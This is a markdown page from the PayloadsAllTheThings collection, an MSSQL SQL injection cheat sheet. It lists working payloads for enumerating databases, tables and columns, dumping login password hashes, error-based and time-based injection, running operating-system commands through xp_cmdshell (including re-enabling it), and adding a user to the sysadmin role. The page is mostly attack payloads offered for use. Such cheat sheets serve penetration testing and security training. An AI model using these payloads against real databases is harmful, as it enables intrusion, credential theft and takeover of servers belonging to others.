PayloadsAllTheThings/SQL injection/MSSQL Injection.md

# MSSQL Injection

## MSSQL version
```
SELECT @@version
```

## MSSQL database name
```
SELECT DB_NAME()
```

## MSSQL List Databases
```
SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, …
```

## MSSQL List Column
```
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
```

## MSSQL List Tables
```
SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
```


## MSSQL User Password
```
MSSQL 2000:
SELECT name, password FROM master..sysxlogins
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins (Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.)

MSSQL 2005
SELECT name, password_hash FROM master.sys.sql_logins 
SELECT name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
```

## MSSQL Error based
```
For integer inputs : convert(int,@@version)
For string inputs   : ' + convert(int,@@version) + '
```

## MSSQL Time based
```
ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--
```

## MSSQL Command execution
```
EXEC xp_cmdshell "net user";           
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1'
```
If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)
```
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
```

## MSSQL Make user DBA (DB admin)
```
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;
```

## Thanks to
 * [Pentest Monkey - mssql-sql-injection-cheat-sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)
 * [Sqlinjectionwiki - MSSQL](http://www.sqlinjectionwiki.com/categories/1/mssql-sql-injection-cheat-sheet/)